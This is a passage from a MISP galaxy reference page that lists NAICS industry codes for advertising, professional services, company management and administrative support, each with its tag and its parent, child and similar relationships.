The tag is: *misp-galaxy:naics="541720"*

View relationships graph

541720 has relationships with:

- child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54172" with estimative-language:likelihood-probability="likely"

5418

Advertising, Public Relations, and Related Services

The tag is: *misp-galaxy:naics="5418"*

View relationships graph

5418 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54181" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541810" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54182" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541820" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54183" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541830" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54184" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541840" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="54185" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541850" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54186" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541860" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54187" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541870" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54189" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541890" with estimative-language:likelihood-probability="likely"

54181

Advertising Agencies

The tag is: *misp-galaxy:naics="54181"*

View relationships graph

54181 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541810" with estimative-language:likelihood-probability="likely"

541810

Advertising Agencies

The tag is: *misp-galaxy:naics="541810"*

View relationships graph

541810 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54181" with estimative-language:likelihood-probability="likely"

54182

Public Relations Agencies

The tag is: *misp-galaxy:naics="54182"*

View relationships graph

54182 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="541820" with estimative-language:likelihood-probability="likely"

541820

Public Relations Agencies

The tag is: *misp-galaxy:naics="541820"*

View relationships graph

541820 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54182" with estimative-language:likelihood-probability="likely"

54183

Media Buying Agencies

The tag is: *misp-galaxy:naics="54183"*

View relationships graph

54183 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541830" with estimative-language:likelihood-probability="likely"

541830

Media Buying Agencies

The tag is: *misp-galaxy:naics="541830"*

View relationships graph

541830 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54183" with estimative-language:likelihood-probability="likely"

54184

Media Representatives

The tag is: *misp-galaxy:naics="54184"*

View relationships graph

54184 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541840" with estimative-language:likelihood-probability="likely"

541840

Media Representatives

The tag is: *misp-galaxy:naics="541840"*

View relationships graph

541840 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54184" with estimative-language:likelihood-probability="likely"

54185

Indoor and Outdoor Display Advertising

The tag is: *misp-galaxy:naics="54185"*

View relationships graph

54185 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541850" with estimative-language:likelihood-probability="likely"

541850

Indoor and Outdoor Display Advertising

The tag is: *misp-galaxy:naics="541850"*

View relationships graph

541850 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54185" with estimative-language:likelihood-probability="likely"

54186

Direct Mail Advertising

The tag is: *misp-galaxy:naics="54186"*

View relationships graph

54186 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541860" with estimative-language:likelihood-probability="likely"

541860

Direct Mail Advertising

The tag is: *misp-galaxy:naics="541860"*

View relationships graph

541860 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54186" with estimative-language:likelihood-probability="likely"

54187

Advertising Material Distribution Services

The tag is: *misp-galaxy:naics="54187"*

View relationships graph

54187 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541870" with estimative-language:likelihood-probability="likely"

541870

Advertising Material Distribution Services

The tag is: *misp-galaxy:naics="541870"*

View relationships graph

541870 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54187" with estimative-language:likelihood-probability="likely"

54189

Other Services Related to Advertising

The tag is: *misp-galaxy:naics="54189"*

View relationships graph

54189 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541890" with estimative-language:likelihood-probability="likely"

541890

Other Services Related to Advertising

The tag is: *misp-galaxy:naics="541890"*

View relationships graph

541890 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54189" with estimative-language:likelihood-probability="likely"

5419

Other Professional, Scientific, and Technical Services

The tag is: *misp-galaxy:naics="5419"*

View relationships graph

5419 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541922" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54193" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54194" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="541940" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54199" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541990" with estimative-language:likelihood-probability="likely"

54191

Marketing Research and Public Opinion Polling

The tag is: *misp-galaxy:naics="54191"*

View relationships graph

54191 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541910" with estimative-language:likelihood-probability="likely"

541910

Marketing Research and Public Opinion Polling

The tag is: *misp-galaxy:naics="541910"*

View relationships graph

541910 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54191" with estimative-language:likelihood-probability="likely"

54192

Photographic Services

The tag is: *misp-galaxy:naics="54192"*

View relationships graph

54192 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"

541921

Photography Studios, Portrait

The tag is: *misp-galaxy:naics="541921"*

View relationships graph

541921 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"

541922

Commercial Photography

The tag is: *misp-galaxy:naics="541922"*

View relationships graph

541922 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"

54193

Translation and Interpretation Services

The tag is: *misp-galaxy:naics="54193"*

View relationships graph

54193 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541930" with estimative-language:likelihood-probability="likely"

541930

Translation and Interpretation Services

The tag is: *misp-galaxy:naics="541930"*

View relationships graph

541930 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54193" with estimative-language:likelihood-probability="likely"

54194

Veterinary Services

The tag is: *misp-galaxy:naics="54194"*

View relationships graph

54194 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541940" with estimative-language:likelihood-probability="likely"

541940

Veterinary Services

The tag is: *misp-galaxy:naics="541940"*

View relationships graph

541940 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54194" with estimative-language:likelihood-probability="likely"

54199

All Other Professional, Scientific, and Technical Services

The tag is: *misp-galaxy:naics="54199"*

View relationships graph

54199 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541990" with estimative-language:likelihood-probability="likely"

541990

All Other Professional, Scientific, and Technical Services

The tag is: *misp-galaxy:naics="541990"*

View relationships graph

541990 has relationships with:

- child-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54199" with estimative-language:likelihood-probability="likely"

55

Management of Companies and Enterprises

The tag is: *misp-galaxy:naics="55"*

View relationships graph

55 has relationships with:

- parent-of: misp-galaxy:naics="551" with estimative-language:likelihood-probability="likely"

551

Management of Companies and Enterprises

The tag is: *misp-galaxy:naics="551"*

View relationships graph

551 has relationships with:

- child-of: misp-galaxy:naics="55" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

5511

Management of Companies and Enterprises

The tag is: *misp-galaxy:naics="5511"*

View relationships graph

5511 has relationships with:

- child-of: misp-galaxy:naics="551" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="55111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="551111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="551112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="551114" with estimative-language:likelihood-probability="likely"

55111

Management of Companies and Enterprises

The tag is: *misp-galaxy:naics="55111"*

View relationships graph

55111 has relationships with:

- child-of: misp-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

551111

Offices of Bank Holding Companies

The tag is: *misp-galaxy:naics="551111"*

View relationships graph

551111 has relationships with:

- child-of: misp-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

551112

Offices of Other Holding Companies

The tag is: *misp-galaxy:naics="551112"*

View relationships graph

551112 has relationships with:

- child-of: misp-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

551114

Corporate, Subsidiary, and Regional Managing Offices

The tag is: *misp-galaxy:naics="551114"*

View relationships graph

551114 has relationships with:

- child-of: misp-galaxy:naics="5511" with estimative-language:likelihood-probability="likely"

56

Administrative and Support and Waste Management and Remediation Services

The tag is: *misp-galaxy:naics="56"*

View relationships graph

56 has relationships with:

- parent-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562" with estimative-language:likelihood-probability="likely"

561

Administrative and Support Services

The tag is: *misp-galaxy:naics="561"*

View relationships graph

561 has relationships with:

- child-of: misp-galaxy:naics="56" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"

5611

Office Administrative Services

The tag is: *misp-galaxy:naics="5611"*

View relationships graph

5611 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561110" with estimative-language:likelihood-probability="likely"

56111

Office Administrative Services

The tag is: *misp-galaxy:naics="56111"*

View relationships graph

56111 has relationships with:

- child-of: misp-galaxy:naics="5611" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561110" with estimative-language:likelihood-probability="likely"

561110

Office Administrative Services

The tag is: *misp-galaxy:naics="561110"*

View relationships graph

561110 has relationships with:

- child-of: misp-galaxy:naics="5611" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56111" with estimative-language:likelihood-probability="likely"

5612

Facilities Support Services

The tag is: *misp-galaxy:naics="5612"*

View relationships graph

5612 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561210" with estimative-language:likelihood-probability="likely"

56121

Facilities Support Services

The tag is: *misp-galaxy:naics="56121"*

View relationships graph

56121 has relationships with:

- child-of: misp-galaxy:naics="5612" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561210" with estimative-language:likelihood-probability="likely"

561210

Facilities Support Services

The tag is: *misp-galaxy:naics="561210"*

View relationships graph

561210 has relationships with:

- child-of: misp-galaxy:naics="5612" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56121" with estimative-language:likelihood-probability="likely"

5613

Employment Services

The tag is: *misp-galaxy:naics="5613"*

View relationships graph

5613 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561330" with estimative-language:likelihood-probability="likely"

56131

Employment Placement Agencies and Executive Search Services

The tag is: *misp-galaxy:naics="56131"*

View relationships graph

56131 has relationships with:

- child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"

561311

Employment Placement Agencies

The tag is: *misp-galaxy:naics="561311"*

View relationships graph

561311 has relationships with:

- child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"

561312

Executive Search Services

The tag is: *misp-galaxy:naics="561312"*

View relationships graph

561312 has relationships with:

- child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"

56132

Temporary Help Services

The tag is: *misp-galaxy:naics="56132"*

View relationships graph

56132 has relationships with:

- child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561320" with estimative-language:likelihood-probability="likely"

561320

Temporary Help Services

The tag is: *misp-galaxy:naics="561320"*

View relationships graph

561320 has relationships with:

- child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56132" with estimative-language:likelihood-probability="likely"

56133

Professional Employer Organizations

The tag is: *misp-galaxy:naics="56133"*

View relationships graph

56133 has relationships with:

- child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561330" with estimative-language:likelihood-probability="likely"

561330

Professional Employer Organizations

The tag is: *misp-galaxy:naics="561330"*

View relationships graph

561330 has relationships with:

- child-of: misp-galaxy:naics="5613" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56133" with estimative-language:likelihood-probability="likely"

5614

Business Support Services

The tag is: *misp-galaxy:naics="5614"*

View relationships graph

5614 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56143" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561439" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="56144" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561440" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56145" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561450" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56149" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561499" with estimative-language:likelihood-probability="likely"

56141

Document Preparation Services

The tag is: *misp-galaxy:naics="56141"*

View relationships graph

56141 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561410" with estimative-language:likelihood-probability="likely"

561410

Document Preparation Services

The tag is: *misp-galaxy:naics="561410"*

View relationships graph

561410 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56141" with estimative-language:likelihood-probability="likely"

56142

Telephone Call Centers

The tag is: *misp-galaxy:naics="56142"*

View relationships graph

56142 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561421

Telephone Answering Services

The tag is: *misp-galaxy:naics="561421"*

View relationships graph

561421 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561422

Telemarketing Bureaus and Other Contact Centers

The tag is: *misp-galaxy:naics="561422"*

View relationships graph

561422 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

56143

Business Service Centers

The tag is: *misp-galaxy:naics="56143"*

View relationships graph

56143 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561431

Private Mail Centers

The tag is: *misp-galaxy:naics="561431"*

View relationships graph

561431 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561439

Other Business Service Centers (including Copy Shops)

The tag is: *misp-galaxy:naics="561439"*

View relationships graph

561439 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

56144

Collection Agencies

The tag is: *misp-galaxy:naics="56144"*

View relationships graph

56144 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561440" with estimative-language:likelihood-probability="likely"

561440

Collection Agencies

The tag is: *misp-galaxy:naics="561440"*

View relationships graph

561440 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56144" with estimative-language:likelihood-probability="likely"

56145

Credit Bureaus

The tag is: *misp-galaxy:naics="56145"*

View relationships graph

56145 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="561450" with estimative-language:likelihood-probability="likely"

561450

Credit Bureaus

The tag is: *misp-galaxy:naics="561450"*

View relationships graph

561450 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56145" with estimative-language:likelihood-probability="likely"

56149

Other Business Support Services

The tag is: *misp-galaxy:naics="56149"*

View relationships graph

56149 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561491

Repossession Services

The tag is: *misp-galaxy:naics="561491"*

View relationships graph

561491 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561492

Court Reporting and Stenotype Services

The tag is: *misp-galaxy:naics="561492"*

View relationships graph

561492 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

561499

All Other Business Support Services

The tag is: *misp-galaxy:naics="561499"*

View relationships graph

561499 has relationships with:

- child-of: misp-galaxy:naics="5614" with estimative-language:likelihood-probability="likely"

5615

Travel Arrangement and Reservation Services

The tag is: *misp-galaxy:naics="5615"*

View relationships graph

5615 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56152" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561520" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56159" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561599" with estimative-language:likelihood-probability="likely"

56151

Travel Agencies

The tag is: *misp-galaxy:naics="56151"*

View relationships graph

56151 has relationships with:

- child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561510" with estimative-language:likelihood-probability="likely"

561510

Travel Agencies

The tag is: *misp-galaxy:naics="561510"*

View relationships graph

561510 has relationships with:

- child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56151" with estimative-language:likelihood-probability="likely"

56152

Tour Operators

The tag is: *misp-galaxy:naics="56152"*

View relationships graph

56152 has relationships with:

- child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561520" with estimative-language:likelihood-probability="likely"

561520

Tour Operators

The tag is: *misp-galaxy:naics="561520"*

View relationships graph

561520 has relationships with:

- child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56152" with estimative-language:likelihood-probability="likely"

56159

Other Travel Arrangement and Reservation Services

The tag is: *misp-galaxy:naics="56159"*

View relationships graph

56159 has relationships with:

- child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"

561591

Convention and Visitors Bureaus

The tag is: *misp-galaxy:naics="561591"*

View relationships graph

561591 has relationships with:

- child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"

561599

All Other Travel Arrangement and Reservation Services

The tag is: *misp-galaxy:naics="561599"*

View relationships graph

561599 has relationships with:

- child-of: misp-galaxy:naics="5615" with estimative-language:likelihood-probability="likely"

5616

Investigation and Security Services

The tag is: *misp-galaxy:naics="5616"*

View relationships graph

5616 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56162" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561622" with estimative-language:likelihood-probability="likely"

56161

Investigation, Guard, and Armored Car Services

The tag is: *misp-galaxy:naics="56161"*

View relationships graph

56161 has relationships with:

- child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561611

Investigation and Personal Background Check Services

The tag is: *misp-galaxy:naics="561611"*

View relationships graph

561611 has relationships with:

- child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561612

Security Guards and Patrol Services

The tag is: *misp-galaxy:naics="561612"*

View relationships graph

561612 has relationships with:

- child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561613

Armored Car Services

The tag is: *misp-galaxy:naics="561613"*

View relationships graph

561613 has relationships with:

- child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

56162

Security Systems Services

The tag is: *misp-galaxy:naics="56162"*

View relationships graph

56162 has relationships with:

- child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561621

Security Systems Services (except Locksmiths)

The tag is: *misp-galaxy:naics="561621"*

View relationships graph

561621 has relationships with:

- child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

561622

Locksmiths

The tag is: *misp-galaxy:naics="561622"*

View relationships graph

561622 has relationships with:

- child-of: misp-galaxy:naics="5616" with estimative-language:likelihood-probability="likely"

5617

Services to Buildings and Dwellings

The tag is: *misp-galaxy:naics="5617"*

View relationships graph

5617 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56171" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561710" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="56172" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561720" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56173" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561730" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56174" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561740" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56179" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561790" with estimative-language:likelihood-probability="likely"

56171

Exterminating and Pest Control Services

The tag is: *misp-galaxy:naics="56171"*

View relationships graph

56171 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561710" with estimative-language:likelihood-probability="likely"

561710

Exterminating and Pest Control Services

The tag is: *misp-galaxy:naics="561710"*

View relationships graph

561710 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56171" with estimative-language:likelihood-probability="likely"

56172

Janitorial Services

The tag is: *misp-galaxy:naics="56172"*

View relationships graph

56172 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="561720" with estimative-language:likelihood-probability="likely"

561720

Janitorial Services

The tag is: *misp-galaxy:naics="561720"*

View relationships graph

561720 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56172" with estimative-language:likelihood-probability="likely"

56173

Landscaping Services

The tag is: *misp-galaxy:naics="56173"*

View relationships graph

56173 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561730" with estimative-language:likelihood-probability="likely"

561730

Landscaping Services

The tag is: *misp-galaxy:naics="561730"*

View relationships graph

561730 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56173" with estimative-language:likelihood-probability="likely"

56174

Carpet and Upholstery Cleaning Services

The tag is: *misp-galaxy:naics="56174"*

View relationships graph

56174 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561740" with estimative-language:likelihood-probability="likely"

561740

Carpet and Upholstery Cleaning Services

The tag is: *misp-galaxy:naics="561740"*

View relationships graph

561740 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56174" with estimative-language:likelihood-probability="likely"

56179

Other Services to Buildings and Dwellings

The tag is: *misp-galaxy:naics="56179"*

View relationships graph

56179 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561790" with estimative-language:likelihood-probability="likely"

561790

Other Services to Buildings and Dwellings

The tag is: *misp-galaxy:naics="561790"*

View relationships graph

561790 has relationships with:

- child-of: misp-galaxy:naics="5617" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56179" with estimative-language:likelihood-probability="likely"

5619

Other Support Services

The tag is: *misp-galaxy:naics="5619"*

View relationships graph

5619 has relationships with:

- child-of: misp-galaxy:naics="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56199" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="561990" with estimative-language:likelihood-probability="likely"

56191

Packaging and Labeling Services

The tag is: *misp-galaxy:naics="56191"*

View relationships graph

56191 has relationships with:

- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561910" with estimative-language:likelihood-probability="likely"

561910

Packaging and Labeling Services

The tag is: *misp-galaxy:naics="561910"*

View relationships graph

561910 has relationships with:

- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56191" with estimative-language:likelihood-probability="likely"

56192

